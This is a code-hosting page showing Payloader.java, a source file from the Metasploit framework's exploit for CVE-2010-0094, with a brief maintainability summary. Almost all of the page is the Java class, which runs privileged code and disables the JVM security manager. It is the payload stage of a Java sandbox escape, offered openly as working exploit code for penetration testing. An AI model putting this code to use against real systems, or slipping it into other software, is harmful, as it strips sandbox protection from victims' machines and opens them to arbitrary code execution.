rapid7/metasploit-framework

View on GitHub
external/source/exploits/CVE-2010-0094/Payloader.java

Summary

Maintainability
A
0 mins
Test Coverage
import java.io.Serializable;
import java.security.AccessController;
import java.security.PrivilegedActionException;
import java.security.PrivilegedExceptionAction;

/**
 * This class contains the payload. The payload is just the code for disable the
 * security manager ;-)
 * 
 * @author mka
 * 
 */
public class Payloader implements PrivilegedExceptionAction, Serializable {

    /**
     * 
     */
    private static final long serialVersionUID = 635880182647064891L;

    public Payloader() {
        try {
            AccessController.doPrivileged(this);
        } catch (PrivilegedActionException e) {
            e.printStackTrace();
        }

    }

    @Override
    public Object run() throws Exception {

        // disable the security manager ;-)
        System.setSecurityManager(null);

        return null;
    }

}